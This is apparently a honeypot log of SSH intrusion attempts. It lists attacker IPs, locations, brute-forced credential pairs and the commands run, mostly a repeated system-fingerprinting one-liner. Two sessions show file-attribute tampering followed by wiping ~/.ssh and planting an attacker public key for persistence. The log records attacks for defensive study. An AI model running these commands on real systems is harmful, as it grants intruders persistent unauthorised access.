$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 dutch_sol_2 (178.62.223.152) β€” Amsterdam, Netherlands Β· 2 sessions Β· 2 cmds
2026-03-16 03:48 EDT Β· as oracle/!@#$%^&*(), oracle/Password
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—2
🎭 specter_root_57 (103.213.238.91) β€” Dhaka, Bangladesh Β· 1 session Β· 2 cmds
2026-03-16 01:03 EDT Β· as oracle/Oracle123!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 pretzel_root_14 (164.90.235.167) β€” Frankfurt am Main, Germany Β· 8 sessions Β· 32 cmds
2026-03-15 23:56 EDT Β· as root/1234, root/123456, root/12345678
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 strudel_root_12 (206.189.60.179) β€” Frankfurt am Main, Germany Β· 1 session Β· 4 cmds
2026-03-15 23:58 EDT Β· as root/root
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 toque_root_3 (165.227.45.208) β€” Toronto, Canada Β· 1 session Β· 1 cmd
2026-03-15 23:48 EDT Β· as mysql/mysql
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m
🎭 scone_root_10 (159.65.84.212) β€” Slough, United Kingdom Β· 3 sessions Β· 12 cmds
2026-03-15 23:04 EDT Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 spice_root_5 (157.245.109.118) β€” Bengaluru, India Β· 4 sessions Β· 16 cmds
2026-03-15 22:50 EDT Β· as admin/admin123, root/1234, root/admin123
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 ghost_root_74 (157.230.250.44) β€” Singapore, Singapore Β· 6 sessions Β· 24 cmds
2026-03-15 21:45 EDT Β· as root/1234, root/123456, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 strudel_root_13 (157.230.22.169) β€” Frankfurt am Main, Germany Β· 3 sessions Β· 12 cmds
2026-03-15 18:18 EDT Β· as root/123456, root/12345678, root/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 phantom_root_46 (152.42.224.122) β€” Singapore, Singapore Β· 3 sessions Β· 12 cmds
2026-03-15 18:04 EDT Β· as root/1234, root/admin123, root/pass123
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 dragon_root_23 (182.92.56.241) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-03-15 15:37 EDT Β· as test/test
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 crumpet_root_9 (161.35.164.134) β€” Slough, United Kingdom Β· 8 sessions Β· 32 cmds
2026-03-15 13:01 EDT Β· as root/1234, root/123456, root/12345678
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 star_root_15 (64.236.201.57) β€” Chicago, United States Β· 1 session Β· 1 cmd
2026-03-15 12:53 EDT Β· as root/root
hostname discovery
$ hostname
↳ hostname discovery
🎭 lotus_root_11 (139.59.32.123) β€” Bengaluru, India Β· 5 sessions Β· 20 cmds
2026-03-15 12:19 EDT Β· as root/1234, root/123456, root/12345678
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 ghost_root_75 (81.192.46.29) β€” Rabat, Morocco Β· 1 session Β· 2 cmds
2026-03-15 12:33 EDT Β· as oracle/oracle1234567
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 gouda_root_11 (159.65.196.82) β€” Amsterdam, Netherlands Β· 7 sessions Β· 28 cmds
2026-03-15 12:07 EDT Β· as root/123456, root/admin, root/admin123
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 gouda_root_12 (206.189.97.65) β€” Amsterdam, Netherlands Β· 4 sessions Β· 16 cmds
2026-03-15 12:12 EDT Β· as root/123456, root/admin, root/password
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 cowboy_root_15 (178.156.254.210) β€” Ashburn, United States Β· 3 sessions Β· 3 cmds
2026-03-15 10:52 EDT Β· as root/1234, root/123456, root/12345678
ls β†’ pwd
$ ls -la / Γ—2
$ pwd
🎭 lotus_root_12 (64.227.187.243) β€” Bengaluru, India Β· 8 sessions Β· 32 cmds
2026-03-15 11:54 EDT Β· as root/1234, root/123456, root/12345678
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 autobahn_root_16 (165.22.25.213) β€” Frankfurt am Main, Germany Β· 7 sessions Β· 28 cmds
2026-03-15 11:30 EDT Β· as admin/123456, admin/admin, root/1234
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 liberty_root_17 (172.210.53.196) β€” Boydton, United States Β· 1 session Β· 1 cmd
2026-03-15 11:50 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 beefeater_root_6 (178.62.50.224) β€” Slough, United Kingdom Β· 4 sessions Β· 16 cmds
2026-03-15 11:29 EDT Β· as root/1234, root/123456, root/12345678
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 tulip_root_15 (209.38.40.94) β€” Amsterdam, Netherlands Β· 4 sessions Β· 16 cmds
